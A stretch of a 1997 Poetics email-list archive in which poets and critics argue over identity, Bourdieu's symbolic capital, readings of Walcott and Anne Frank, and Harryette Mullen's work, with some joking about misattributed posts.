think. When you think you are writing just to write the best you can in the form, you discover you are hungry for an audience. It runs deep, I say. What's the motive, what's the message informing or underlying the art for art's sake (or is there a message)... depends on the pen, depends on the "time". On the underlying impulse. I write because I have loved to read from an early age & wanted to do that too, I'm sure that's the common motive. Or one of them.

If you believe there is something to be said for common understanding on the basis of common humanity, then "unity" can't be all bad, though the DANGERS are obvious for writers & others. & I can't think of a better work of art than one which would address unity & dis-unity together & bring them under the same tent... - Henry Gould

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40. David Erben (Art)

the colophone strikes (was theory/identity)

Tue 1 Jul 1997

Heh heh heh...uh...heh heh...he wrote "poesis."
Yeah...yeah yeah...and "hegemony."
Heh heh heh..uh..heh and "ecriture."
And...uh...uh..heh they are talk'n about "identity."
Shut up Beavis, they're talk'n about "anus writing" AND identity.

Darlings. . . kiddies, I don't just sit in my comfy chair in my comfy office *writing* about the perverse dominant culture (in between various "club" meetings)...I live it every day and it's no picnic that's for sure (well, ok, sometimes it is a picnic, but always with real china and stemware).

Electronic writing is, I suppose, writing from the place of the colophone, the place where words may be digested and expelled and cut and pasted and (re)mapped. Of course we all know, everything begins *a tergo* "(par) derriere," behind other texts, i.e. in the shit.

Perhaps to produce excrement is to cheer up?

This I like.

Colon humor (an organ Joyce seems a bit obsessed with - part of his identification with canine cognition, I think, esp with the anus, with all its odors is a point of equal interest), that's what we're on about, yes?

Heh heh he, he used the word "cognition."
And, heh, heh, "Joyce."

'In virtual space there is no smell...'

Pity.

Now Derek Walcott - there's a poet whose texts, it seems to me, are very interested in poetics, history, AND identity (and I doan think saying a text is interested in identity is cynical at all. In fact, I formally nominate [redacted] for "Most Outrageous Remark on the Poetics List, 1997. What's valuable about the Diary of Anne Frank to her readers is not her "Jewishness"????? Yeah, ummm, sure.).

Anyway, I think Walcott works thru much of the interesting stuff contained in the recent discussion of identity and poetics - he ain't the only one mind you, and he ain't necessarily the best, but he's all I got at the moment:

Here's some bits from Walcott's "The Fortunate Traveller" and "Midsummer"

> Now at the rising of Venus-- the steady star
> that survives translation, if one can call this lamp
> the planet that pierces us over indigo islands--
> despite the critical sand flies, I accept my function
> as a colonial upstart at the end of an empire,
> a single, circling, homeless satellite.

The fortunate traveller is "homeless" not because there is no home-- the other site "fills its exiles with horror" -- but he cannot relate to it, cannot inscribe himself into it. But he or she is ambivalent about the privileges and pleasures of "travelling" in the spaces that have previously excluded her.

Heh heh heh, he wrote "inscribe."

> It's good that everything is gone, except their language,
> which is everything. And it may be a childish revenge
> at the presumption of empires to hear the worm
> gnawing their solemn columns into coral.
>
> ...
>
> and to buy porous fragments of the Parthenon
> from a fisherman in Tobago, but the fear exists,
> Delenda est Carthago on the rose horizon...

The traveler's ambivalence is reinforced by his realization that though everything is gone, THE LANGUAGE REMAINS, which is "everything." THE LANGUAGE still embodies the complex intertwining of knowledge, history and power that resulted from empire. One of the many ironies of being a "fortunate" traveler is that he or she is now bound to that very language. The structures of violence have been "enabling." But language, at another level, also means the power of representation, the power to map or remap the world, AND THE WEST STILL HAS THAT POWER.

Heh, heh, hee, he said "empire."

> So, however far you have travelled, your
> steps make more holes and the mesh is multiplied--
> or why should you suddenly think of Tomas Venclova,
> and why should I care about whatever they did to Heberto
> when exiles must make their own maps, when this asphalt
> takes you far from the action, past hedges of unaligned flowers?

If the "traveler" must engage in making maps of his own, that is, construct new affiliations in the metropolis, how can that construct take into account the "dis-order," the dis-location, that had made him "a homeless satellite" in the first place? What can be excluded, and what must remain excluded or suppressed in this new map? The identity of the "fortunate traveler" is necessarily undetermined and uncertain, since it is inevitably mediated by the narrative of detour.

Heh, heh, he wrote "metropolis."
And, yeah, yeah, ... "detour."

Defecation/writing is not normally painful, is it? Freud suggested (and God knows Joyce did) that it's actually quite pleasurable, perhaps the most deeply repressed pleasure of our culture--of Christian culture, with its fear of the unclean. But pleasure is never "supposed" to be solitary, let alone anal. And why should the strokes of pen or keyboard or fart or bowel movement be painful: ugh! Painful to the ego, perhaps; but that's a secondary effect and another story.

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41. Tom Orange
identity and list capital (long)
Tue 1 Jul 1997

---

thank you to lbd, robert, dodie b, and george for yr considered posts. i want to respond w/o adding too much to the bandwidth that this thread is already taking up.

Robert Archambeau asks:
> But are there not situations in which it is legitimate to undermine
> authority (or, to use Bourdieu's term, to deprive another of capital)?

yes i suppose, since the alternate undermining and reinforcement of capital defines the very dynamic of the field, the position-takings and position-maintainings within it. i have a hard time w/habermas tho, cuz i dont think rationality-based consensus is possible (unless we reconceptualize rationality, a serious option): witness the uproar here.

and sure, from one's position in the field and the dispositions (habitus) which drive one to take such positions, one wd recognize certain speech acts as

deserving more symbolic capital than others. our dispositions clash, struggles ensue; but the object of our study -- in this case writing as a product contained w/in a specific cultural field -- is just that, an object with no intrinsic worth of its own: we project worth upon writing. or rather: worth is a residuum, an effect of the interactions of habitus and field. i hope this makes sense. to be nietzschean abt it: there is no valuable writing (or alternately, all writing has value), only attributions of value to writing.

robert also asks:
> So I'm left wondering, Tom: do you object to the whole system, or to a
> particular judgement made within the system? Maybe I lack imagination,
> but I find it hard to believe that you would argue against people on the
> list offering their judgements of the value of the capital of various
> posts, and in so doing modifying the value of that capital. Do you have
> an alternative vision in mind?

i find the system, the model, compelling. as a participant in the field, i am disposed to agree with some judgments and disagree with others. i have my own stakes, my own capital to invest and accumulate, all of which are operating without my full conscious awareness. the alternative -- to play the game with the rules always fully upfront -- is untenable at best. could you imagine: "i found so-and-so's post interesting but i would like to respond by attempting to take away some of their list capital..."

George Thompson, wanting to push me further, writes:
> But I don't think that his [my] effort to sort out the issues quite
> succeeds, because in spite of his efforts to be detached and objective, he
> has still simply sided with his friend.

quite true. such is my disposition, which always thwarts any attempt to be detached and objective. questioning my claims abt rhetorical violence, gt asks:
> What kind of "list capital" was left for Jay Schwartz after Kim Dawn's
> "performance"?
> As far as I can see, rhetorical violence was used by both sides, in this
> battle for symbolic capital.

as kali suggested, jay had a number of different avenues for recovering any symbolic capital presumably lost -- perhaps even more -- as a result of kim's performance. dodie b's defense of jay and her devaluation of kim's writing -- again subject to dodie's own dispositions (and abt which i am learning more -- thanks db) just like any of us, and which, as dodie correctly points out to me, stopped short of dodie's calling kim's writing worthless (this was left to robert's posting) -- were an attempt to recover and redistribute the capital. a powerful one, imo, given dodie's more dominant position in our field relative to kim.

i'll shy away from talking further abt violence, at dodie's suggestion, since she's right, it is becoming a rather banal academicism. plus it's an area i havent really thought through yet. gt continues:

> *It is also puzzling that Tom backs away from such a model of the list's activities, because it is "too ruthlessly darwinistic." Why bring it in and then throw it away?*

i do so not only as an exercise of restraint and decorum, but b/c i don't feel confortable saying that any member of this list is a machiavellian capital-baron out to dominate the list at the expense of everyone else. i don't believe it, tho one could push bourdieu's model that way i suppose.

i wd speak more abt belief than what gt calls "magic," altho there is something ritualistic abt the way authors are consecrated in bourdieu's sense.

> *I think that Tom is right to suggest that Dodie Bellamy has used this sort of magic on this list [if that is what he is suggesting]. But surely that is what *everyone* involved has done [and mostly quite well, I might add].*

absolutely. we all do it, rarely announcing it as such. what's important, and what bourdieu helps me do, is maintain an awareness of the game.

tom orange

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42. Tom Orange
identity and list capital (long)
Tue 1 Jul 1997

---

p.s. i'd be happy to continue discussing this off-list with anyone; i'm at home w/ a 2400 baud modem and a shitty text editor (pico), spending way too much time online, and have other writing i need to be working on too. but really, what is the summer for?

thanks,
t.

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43. Kali Tal
Re: Poems/Identities
Tue 1 Jul 1997

> *i say ms. to other women older than me to include them in the girl's club, to be most honorific and formal thus showing them i respect them, while doing it in a way that is modern and feminist.*

it was my observation that "ms." was used as often disrespectfully as respectfully. how you use "ms." doesn't account for how others use it. i use it, too. but i am aware of the context in which i use it, and that i *do* use it in a fashion which affirms that it is a term of respect. the use of "ms." as a term of disrespect is so common that it's become a hollywood convention (george clooney's character uses "ms" in that disrespectful sense in the latest _batman_ adventure, and there are myriad other examples). the implication in disrespectful usage is that a "real lady" doesn't *need* to use "ms."

> *how would anyone know kali was a dr. -- it isn't in her posts, though her yale address figures prominently?*

what do these two statements have to do with each other? my point was *not* that i *wished* to be called "dr.," but that I preferred "dr.-which-I-do- not-wish-to-be-called" to "ms.-which-I-do-not-wish-to-be-called." as to how anyone would know, well, there are several answers: one might presume (not an insult if one were incorrect); one might have read any of a number of earlier posts which made some passing reference to finishing a dissertation or turning a diss into a book; one might do (as dodie bellamy suggested, and i had already done) a search on the web. but what does the yale address have to do with anything? my email address is a yale address because it was while i was at yale that i developed an internet "habit"--changing the address at this point would be an incredible task. in point of fact, however, i *am* in the process of changing my address because i *don't* like the "yale" identification.

>and given the harangues engaged in against
>academia, wouldn't one try and take her at her word and eschew academic posts,
>though one could take her at her word and bow to the frequent mention of "classes
>she teaches" except, what if one took her at her word and went with the constant
>harangues about oppressed working class and her unity with them, only then again,
>one really probably ought to take her at her word and go on the I-The-Authority
>-Figure-Say-To-You (crummylittlewhitestudentthatyouare)-that-YOU-can-not-know
>ANYTHING-about-My-Area (academic, my academic, academic, i am an academic
>expert)-area-of-expertise-i.e.-african-americans-working-class-women...
>only, really, perhaps one ought to take her at her word and go by the i wear
>funky clothes and am a regular gal tone... except, no, no, i am going to go
>back and take her at the word of "you have misread me" only, well, given

>how she misreads me and other people maybe it is meant in that sort of peer-
>to-peer congratulatory tone... no, well,

interesting, your choice of the word "harangue" to describe my posts. it's a term that means--in it's kindest sense--"a speech addressed to an assembly," which is what we are all generating. but its most common usages are for speeches that are loud and vehement, tirades, or formal and pompous--a word used to dismiss not the content of a speech, but its manner and presentation, its, um, decorum. i think it's a lot easier to set aside the question of content and replace it with a critique of manner. if one were to ask for an exemplary definition of "harangue," i might, in fact, give the quoted paragraph above. there is no room for *me* in there at all--what you offer is a quite-literally-breathless blanket condemnation of all of the roles you think i play. it is chiefly compelling for its clear delineation of the (presumably more virtuous) oppositions and concomittant insecurities it might describe.

i yam what i yam. i don't like a lot of things about the academy; that doesn't mean i didn't excel in it or that i do not value anything it has to offer. i am passionate about teaching and my teaching experience adds to my understanding of the world. i am concerned with class issues, and i do quite self-consciously publish primarily poets of working-class origins and/or identifications. on the other hand, poems i return to again and again, which are the keystones of my sense of self, range from eliot's _four quartets_, almost everything by wallace stevens, atwood's circe/mud poems to shange's _nappy edges_. i do not, myself, *identify* as working-class and i am always conscious of the privileges of birth which separate me from working-class status no matter what my economic level might be at a given time. i *have* spent a great deal of time immersed in the study of certain african american cultures, in which i claim some competence. like any other competence, it was achieved through a great deal of effort and attention, and, no, i don't think that people who *haven't* paid as much attention or expended as much effort usually have access to the same level of understanding of a subject. (and this would be glaringly obvious and "natural" if my area of competence/"expertise" were, say, southern European cultures of the Middle Ages). annoyingly, i insist on acknowledging my subjectivity as a sexual abuse survivor *in* my scholarly essays on the topic of sexual abuse literature. people ask me if i am an historian or a literary critic and i, being irritating but accurate, say, "yes." sometimes i dress funky and mohawk my hair or shave my head. i wear a lot of earrings, and get tattoed and have some piercings, which certainly does not uphold any claim to the status of a "regular girl." on the other hand, i like to play dress-up and you can sometimes find me in white chiffon and gold lame heels. riotous complexity has, for me, real charm. i am a lot of things. i sincerely hope that you are too.

> *what word DOES one take kali tal at? whenever one tries, one gets haranged for not taking her at a different one?! could it be*
>
> *no one wins but kali*
>
> *games?*
> *blech*

i have no interest in winning or losing. i have an interest in *being*, in manifesting, in being SEEN/READ. an UNSEEN/UNREAD person can't take part in any sort of exchange, and i am by nature an exchanging sort of animal. "play" for me is not competitive--i watch the wolves who inhabit my living space play and what they are doing is testing, and learning, and reformulating or reaffirming their notions of the world around them and their place within it. *that* is what i am after. whether you feel like you "win" or "lose" in our exchange is up to you, and determined primarily by how you decide to engage with my texts.

kali

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44. Pritchett,Pat
Re: No ID, No Service
Tue 1 Jul 1997

Oh geez David (blush) - really, you shouldn't have! But the year is not half done yet...

For the record (there seems to be a lot of this lately!) I did not say that a text's "being interested" in identity is cynical. I said that it seemed cynical to say that Anne Frank's belief in the basic goodness of human beings did her "no good," as Maria Damon stated, the obvious implication being that if people were good, she could have lived out "a normal life." I understand Maria's revulsion over the invocation of Frank as a cynosure of icky sweet virtue. References to Mother Teresa (who never met a Haitian dictator she didn't like) make me feel the same way. And if Maria is too blissed out at the Cape to respond to what was basically a rather idle devil's advocate comment, that's fine. In my view, though, Frank's belief in "goodness" underwrites her entire book and without it the book would lose its value - indeed, its meaning - it would be guilty of bad faith. I did not mean to imply, either, that "hope" constituted the longing for something beyond mortality. Hope as a spiritual quality provides its own justification, especially for those in extremis and without appeal - it is not to be confused with mere optimism. To paraphrase Augustine, "The reward of hope is hope." Call it a frivolous tautology, if you like...

I enjoyed your earlier posting on this debate, David, though as David Bromige pointed out, it raised as many questions as it sought to answer. So I'm puzzled by your outburst. It doesn't seem to me that anyone is attacking you... (And I'd like to thank as well Tom Orange, George Thompson and Robert Archambeau for their most useful sidebars on Bourdieu's theory of symbolic capital vis-a-vis List interactions).

What strikes me most about the lines from the Walcott poem you post is their applicability to a broader range of human experience - namely, that ol' existential condition of exile, shipwreck etc we all find ourselves in (except those of us, of course, who really know what our identity is and are free of such concerns). Maybe this debate about identity hinges more on differences between a broader reading of a text and a more narrow form of reading. I don't know. I for one would like it if someone could take a stab (perhaps Kali Tal?) at defining exactly what is meant by identity since we seem to be arguing over different variants of this concept. For me, identity is a form of narrative created in order to obtain some sense of belonging in a world which rarely provides it - and when it does, it's all too often on a suspect, if not specious, basis. Since identity partakes both of innate and more or less inflexible, characteristics (race, gender) as well as highly mutable ones (religion, politics, etc.), doesn't our discussion need somehow to take this into account?

Flagging but undaunted,
Patrick Pritchett

From: David Erben (Art)
To: POETICS
Subject: the colophone strikes (was theory/identity)
Date: Tuesday, July 01, 1997 3:10PM

(and I doan think saying a text is interested in identity is cynical at all. In fact, I formally nominate [redacted] for "Most Outrageous Remark on the Poetics List, 1997. What's valuable about the Diary of Anne Frank to her readers is not her "Jewishness"????? Yeah, ummm, sure.).

↑ Index

45. David Israel
Re: No ID, No Service
Tue 1 Jul 1997

---

footnote to Pat Pritchett . . .

<< Hope as a spiritual quality provides its own justification, especially for those in extremis and without appeal - it is not to be confused with mere optimism. To

paraphrase Augustine, "The reward of hope is hope." Call it a frivolous tautology, if you like... >>

not frivolous; but to expand: optimism itself (for that matter) needn't be sneered at. As remarked Aurobindo Ghose (if I recall aright):

"Even unjustified optimism is justifiable."

d.i.

↑ Index

46. **David Israel**

Re: No ID, No Service, p.s.

Tue 1 Jul 1997

To look at this again here --

/ / /

<< From: David Erben (Art)

In fact, I formally nominate [redacted] for "Most Outrageous Remark on the Poetics List, 1997. What's valuable about the Diary of Anne Frank to her readers is not her "Jewishness"????? Yeah, ummm, sure.). >>

/ / / /

hey, speakin' (for the moment) as a Jew, I'd say what's valuable about the Diary is, indeed, not the (mere fact of) AF's Jewishness. There might be lots of boring diaries written by Jews (and certainly there are lots of books by Jews that are much less interesting).

What's interesting in the Diary is (for instance) the emergant psychology & the narrative freshness, &c.

The fact of Jewishness is integral to all that, of course -- is part of the given context. But the Diary of Sei Shonagon is also interesting (for its emergent psychology, sense of freshness, etc.) -- despite the fact it's not written by a Jew.

Jewishness is hardly what makes AF's diary interesting per se, -- but it is a factor of interest in our consideration of the work.

(but all that's pretty rudimentary, no?)

d.i.

↑ Index

47. David Bromige

misattribution by our most frequent poster

Tue 1 Jul 1997

Hardly is the ink dry on henry g's apology for attributing kAli tal's metaphor to me, & only yesterday was it dry on mark weiss's posting pointing out that somebody else had mistattributed a remark abtout masturb. & the male, to me, (a mistake which kali tal took at face value & picked up & ran with; and the ink is still wet on aldon nielsen's posting today where the entire buddhist drama is (humorously) laid at my feet : and then what does david israel do? misattributes george bowering's addressing of kali tal as "ms", to me!

Lets get it all out in the open, so nobody has to attribute anything to me any more, okay? I wrote it all__The Iliad, The Odyssey, Beowulf, the fucken Bible! __its ALL BY ME, okay? so you dont even have to bother to say so. Peace, my children, David B

↑ Index

48. David Bromige

poet/identity/re :David Erben's post: _I am re-posting this, because david erben's more recent posting, though abrim with sarcasm, does nothing to answer these 2 questions.

Tue 1 Jul 1997

> *To:[redacted]*
> *From:[redacted] (David Bromige)*
> *Subject:poet/identity/re :David Erben's post*
>
> *An informative posting, for which, my thanks...It does give rise to two questions (so far) in my reading of it, David : when you write "the poststructuralist attention to ecriture has certainly displaced the metaphysical and humanistic approach to reading," for whom has it displaced these approaches? For yourself? For the Academy? For Greimas & DeMan? For those who pay "poststructrualist attention to ecriture"? These are not disingenuous questions, although I realize they may have that ring. But the passive construction of your sentence makes this displacement sound like a done deal--exceptions to the rule being "throwbacks", then--& yet a number of voices on this List have found agreement in the idea of an imagined (from whatever indications) poet on the other side of the poem from the reader. Which makes it look like the approach you speak of is not a done deal, not on this List.*
>
> *A cognate question : Are you--or not to personalize this; do these persons towards whose thinking you gesture--findn it possible to read in multipile ways, using multiple methods? Would such an approach be intellectual*

> *dishonorable or indefensible? Wouldnt it be possible to read as text of interacting linguistic bits, a poem whose meanings one had, and I use the figure deliberately, by heart? (As it would be possible to 'step back" & see a loved one as a unit in one of many systems, and the loved body as consisting in all its dissectible elements?) Curiously, David*

↑ Index

49. Hank Lazer
Re: identity/poetics
Tue 1 Jul 1997

Michael Magee--which, where, interviews with Harryette Mullen? I'd be interested in reading them....

Hank Lazer

↑ Index

50. David Israel
apologia
Tue 1 Jul 1997

<< . . . and the ink is still wet on aldon nielsen's posting today where the entire buddhist drama is (humorously) laid at my feet : and then what does david israel do? misattributes george bowering's addressing of kali tal as "ms", to me! >>

oops, apologies Mr. B. --

confusing thus my Bromiges & Bowerings?
(hey all them Bs just kinda ran together!)

confounding of efflorience with flowerings?
(confusion -- it's a rainy kinda weather!)

mistakings of the heathrow for the heather?
for tense as terse? for act as art? -- if powerlings

as starlings are construed -- that ain't so clever:
confusing thus my Bromiges & Bowerings

or, in a word: I be sorry,

d.i.

(p.s.: relation between "apology" and Apolo, -- anyone?)

↑ Index

51. Michael Magee
Re: identity/poetics
Tue 1 Jul 1997

I don't have them with me right now, but I'll track em down. In the meantime, could others help? One was with Louis Cabri et al, during a trip to visit our friends to the North. The other one I'm drawing a blank on, but I promise to go find it. Aside from the interview issue, I think she's just wonderful, super-good, etc. Anyone want to talk about her work? -Mike.

According to Hank Lazer:
> > Michael Magee--which, where, interviews with Harryette Mullen? I'd
> be interested in reading them....
>
> Hank Lazer
>

↑ Index

52. Michael Magee
Re: misattribution by our most frequent poster
Tue 1 Jul 1997

"Lets get it all out in the open, so nobody has to attribute anything to me any more, okay? I wrote it all__The Iliad, The Odyssey, Beowulf, the fucken Bible! __its ALL BY ME, okay? so you dont even have to bother to say so. Peace, my children, David B"

If you don't mind, I've been waiting to ask you this question for years: Why, in Deuteronomy 23:1 did you write, "No one whose testicles have been crushed or whose penis is cut off shall be admitted to the assembly of the Lord." I mean, that hardly seems fair. Talk about insult to injury!

-m.

↑ Index

53. Aldon L. Nielsen
Re: misattribution by our most frequent poster
Tue 1 Jul 1997

I am informed by one "Pearl Poet" that Mr. Bromige did in fact write everything, but that he has not yet read it all. I was on the point of asking how this could have been accomplished when communications were disrupted by something the news media insist on terming a "handover." Once the "handover" is complete, the "Pearl Poet" promises further revelations.

↑ Index

54. Aldon L. Nielsen
Re: identity/poetics
Tue 1 Jul 1997

It has recently been determined that all posts to the POETICS list from San Jose State university are in reality being sent from a location in Boulder, Colorado, a town often visited by David Bromige. It has also been confirmed that David Bromige and Kali Tal have never been seen in the saem place at the same time. Draw your own conclusions and post yourselves accordingly.

Yours panoptically,
Rainy Day Women # 12 & 35

↑ Index

55. Steven Marks
Muse & Drudge
Tue 1 Jul 1997

There's a review of Muse & Drudge in May-June issue of Am. Book Review. Review by Mark Scroggins.

you've had my thrills
a reefer a tub of gin
don't mess with me I'm evil
I'm in your sin
-- Harryette Mullen

cheers,
Steven

On Tue, 1 Jul 1997, Hank Lazer wrote:

> *Michael Magee--which, where, interviews with Harryette Mullen? I'd be interested in reading them....*
>
> *Hank Lazer*

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

56. Aldon L. Nielsen
Self-Addressed Last Will and Testament
Tue 1 Jul 1997

Posting of your message to the POETICS LIST has been postponed. POETICS LIST has exceeded its daily irony limit and further distribution of the LIST will be delayed until such time as further irony is released by the LIST OWNER. You neither should nor can resubmit your message at this time.

MESSAGE FOLLOWS LIST HANDOVER --

> *Dear "Aldon" (or whoever the hell you really are):*
>
> *We were fooled for a time when you requested that we run an ID check on one "Eliot Weinberger" in light of his recent claim that, as he seemed to have put it at the time, "We Are All Yasusada." In the process of running that check, we made a few additional startling discoveries. It appears from documents in our possession that you were born on October 22. At the time one "David Bromige" applied for admission to the POETICS LIST, records indicated a date of birth for him of October 22. When we attended a "poetry" reading by one "Cole Swenson" in "Boulder" last week, we were told that she was born on October 22. You may well imagine our shock at what we found when we got on-line to check our own birth documents.*
>
> *We are not at all sure what can be done about this, but we don't like it one bit. It appears that for the forseeable future all of us who write must reconcile ourselves to the fact that*
>
> *WE ARE ALL DAVID BROMIGE*
>
> *yours,*
>
> *the ghost of electricity*

↑ Index

57. David Israel
Re: question
Tue 1 Jul 1997

First, from Henry Gould --

> *If it's easier to alienate a possible audience*
> *than win over a real one,*
> *who are the exploratory writers,*
> *& who the conventional?*
>
> *I submit all my own work*
> *to a certain standard:*
> *would I be able to read this*
> *at a Thanskgiving dinner?*

> *& the measure of value remains:*
>
> *ARS EST CELARE ARTEM*
> *(art is to hide art).*
>
> *- Henry Gould*

and then, from Rebecca Reynolds --

<< That (or those) are great questions--though I don't know how seriously to take you here. Art is to hide art? But it never does, does it? Maybe in my post about an epithalamium--trying to make it "reader-friendly"--I implied that I didn't think poems ought necessarily to be "reader friendly," though I don't myself buy into that. It is simply that there are different kinds of friendliness(es) and different kinds of readers. >>

certainly there are. Incidentally -- in keeping with the recent Bromige theme of misattribution (or, as a variant on it: that of misconceived direction), it was my impression (if I can remember all this aright -- which maybe I don't) that Henry's poem wasn't (specifically) responsive to your post; but rather, I thought it had been (more or less specifically) responsive to other threads-of-the-day --

but Anyway, to look at

> *ARS EST CELARE ARTEM*
> *(art is to hide art).*

I somewhat think Henry is purposely taking the saying slightly askew of its original sense (though only slightly) -- for his purpose (which seems an interesting purpose) --

I'm no classicist (& know no Latin) & was unfamiliar w/ the aphorism before here encountering it (and BTW, does anyone know who said it? -- I asked Henry, but he doesn't remember) --

still, my hunch is it means something like this:

"that is most artful which manages [artfully] to conceal its artfulness" --

[bit like Lao-Tse's "the sage conceals his wisdom, keeps his jade buried in burlap" (or something along those lines, I forget the exact phrase)] --

relationship between artful (ars, eh?) in sense of: artistically accomplished, done w/ finesse, beautifully wrought, -- and artful (artem, eh?) in sense of "characterized by deception / deceit" -- is interesting.

That there is art (deception / trickery) in art, is, yes, interesting.

(That there is R.Reagan in the nested "yes" is, yes, weird.)

This connects with the famous seduction thread.

(Was there a fam. seduction thread? -- or am I being artful?)

I suppose what's most charming can also be what seems to hide (almost) its own charm. Such paradoxes seem central to many poetics(es).

/ / / / /

BTW, -- dovetailing here to the unity thread -- I'm reminded of a poem of Wallace Stevens' called something like "On the Road Home" (?) -- relating what wd. appear to be a conversation abt. metaphysics with (I felt) his wife -- wherein Stevens writes something roughly like this:

It is only when she said
"no, all words are not forms of a single word"
that the moon shone through the cloud [?]
the fox ran out of its hole [?]
the grapes became fuller [?], ____er, _____er . .

it's in some 3 or 4 stanzas, and repeats the pattern; -- to paraphrase: it is only when one says "no, it's not a question unity, it's the maniness itself" that the charm & meaning & presenxse before the senses of the detailed perfection of the maniness seeps up and arrests one.

(Like this: "Only when we said 'it's all absence' did presence insinuate itself. Only when we remarked, "no, there's no particular meaning here" that the ocean wave curled into its own dark sweep, the sand-dune crinkled, the cricket-chir resumed . . .) Perhaps it IS unity that develops or emerges -- but this seems most possible -- it seems to become palpable -- precisely when the name of unity is contradicted & the notion of oneness is denied. In this lies much mysticism (which ain't, from my pen, perjorative, nor from my keypad, a fallacy).

I don't have Mr. Stevens on hand, and can't recall the poem fully enough; -- a marvelous poem -- addressing crucial ideas charmingly & winningly -- ideas of unity & duality, as related (specifically) to poetics & aesthetics & experience & what one comes to know abt. such things & how.

I (mildly) blush to allow I first acquainted this poem through the good offices of Robert Bly (whose capital in some circles -- to borrow the pop-monetary metaphr -- might be a bit in the low double digits at best, but I like the guy anyway) -- from his *A Little Book on the Human Shadow.* Bly cites this poem in propounding a theory abt. Stevens & his development that seems a bit dubious (though interesting); in any case, he cites it to illustrate the depth, sensuality, & soul-quality evident in early Stevens (which he felt was thinned & compromised in later work from W.C.); -- anyway, the poem's worth the price of admission (either to *A Little Book* or to the Stevens oeuvre; -- but properly speaking it's more a door (or was for me) toward some of the riches of the latter).

cheers, d.i.

↑ Index

58. Rebecca Weldon
ears and origins
Tue 1 Jul 1997

In the case of ears and origins, one might consider Waley's observation:

The methods of Chuang Tzu are those of the poet, and in the case of poetry analysis is useless.

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59. George Bowering
Re: Poems/Identities
Tue 1 Jul 1997

Okay, Dr. Tal--

I surrender. You win. You are right about everything. You get it all. And you are the most deserving recipient of victory.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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60. Dean A. Brink
Re: yet more orientalism
Tue 1 Jul 1997

---

excerpts from "THE BLUE SKY," Gary Snyder.

"Eastward from here,

beyond Buddha-worlds ten times as
numerous as the sands of the Ganges
there is a world called
    PURE AS LAPIS LAZULI
its Buddha is called Master of Healing.
    AZURE RADIANCE TATHAGATA"

It would take you twelve thousand summer vacations
driving a car due east all day every day
to reach the _edge_ of the lapis lazuli realm of
Medicine Old Man Buddha:
East. Old Man Realm,
East across the sea, yellow sand land
Coyote Old Man land
Silver, and stone blue.

...

Pony that feeds on the pollen of flowers
may he
make thee whole.
    Heal , hale....whole.

The Spell of the Master of Healing.

    Namo bhagavate bhaishajyaguru-vaidurya-
      prabharajay tathagata arhate samyak....
....

Hello, but did someone say "light the sandalwood"?

db

↑ Index

61. **DS**

Re: apologia

Wed 2 Jul 1997

> *confusing thus my Bromiges & Bowerings?*
> *(hey all them Bs just kinda ran together!)*

You be careful with them Bs - here in the antipodes a B is a rubust and rough around the edges yet kindly flannel shirted woman who has spent time in a penal institution and runs an eternal half way house for other female ex-prisoners...

ain't that right folks

↑ Index

62. dbkk
play vs. violence
Wed 2 Jul 1997

A couple of people have written to me trying to reconcile my own sexual explicitness with my negative reaction to Kim Dawn's original entry into this list, which certain individuals see as prudishness or hypocrisy on my part.

It's been said that when KD attacked Jay Schwartz's virtual nipples with virtual pinking shears, this was a form of sexual play, that Jay was then free to play back.

In SM attempts are made to clarify the line between sexual play and sexual violence. There are contracts, there are code words to emit if one has had too much. But, the essential difference between play and violence, as I understand it, is the mutual consent of the partners. This isn't news, I'm sure, to any of you--it's much a part of legal definitions (at least in the U.S.).

Since neither Jay Schwartz, nor other list members, had consented to Kim Dawn's aggressive pornographic whatever that was directed towards Jay, I do not feel it should be categorized as sexual play, but as sexual violence. I do not challenge her right to use sexual explicit material in her writing, I merely challenge its non-consentual use.

I know, on the other hand, that it is a time-honored strategy of the avant-garde to shock the bourgeoisie, and this is probably what KD was trying to do. I'm reminded of when I used to work in the file room of a large university library before it was computerized, and I had to sit among row upon row of library cards, filing them by library of congress numbers, feeling miserably oppressed, I had this recurring fantasy of standing on the table with the cards and pissing all over them. And this poetics list must often seem like a stack of cards.

As far as reading such material in public, to me, that is a shady area. At Naropa, I was invited to read, and the people who invited me were familiar with my work, but some of the audience members weren't, so is violence being perpetrated upon them?

Dodie

↑ Index

63. Kathleen Crown
Harryette Mullen
Wed 2 Jul 1997

Yes, please post the information about where to find the interviews with Harryette Mullen, who (by the way) has generously agreed to give a poetry reading

at MLA this December in Toronto. I proposed the poetry reading as a "companion" to a special sesson on "The Contemporary Long Poem: Feminist Intersections and Experiments." The poets who will be reading are Kathleen Fraser, Sharon Doubiago, Harryette Mullen, and Karen Brennan.

There were two good papers at the Rutgers conference on Mullen's work (by Kate Pearcy and Michael Davidson), and they should soon be posted to our website: http://english.rutgers.edu/poetry.html. I'll let you know when the papers are on line.

--
****

Kathleen Crown
Rutgers English and Women's Studies
Conference Co-Coordinator, "Poetry and the Public Sphere"
P.O. Box 5054
New Brunswick, NJ 08903-5054
H: 908/[redacted]
W: 908/[redacted]
Dept. Fax: 908/[redacted]
[redacted]
****

↑ Index

64. Kathleen Crown
Harryette Mullen, part II
Wed 2 Jul 1997

Here's one interview: Calvin Bedient, "The Solo Mysterioso Blues: An Interview with HArryette Mullen," CALLALLOO Summer 1996

Mullen's work might bring us back to the thread about "voice" that preoccupied the list a while back. She talks, somewhere, about the importance of speech patterns and her mother's "southern black voice" to her writing. What strikes me is the taste of speech & tongue in her work, and the words shattered open, exposed as archives and histories.

KC
--
****

Kathleen Crown
Rutgers English and Women's Studies
Conference Co-Coordinator, "Poetry and the Public Sphere"
P.O. Box 5054
New Brunswick, NJ 08903-5054

H: 908/[redacted]
W: 908/[redacted]
Dept. Fax: 908/[redacted]
[redacted]
****

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65. henry g
apologeeoney
Wed 2 Jul 1997

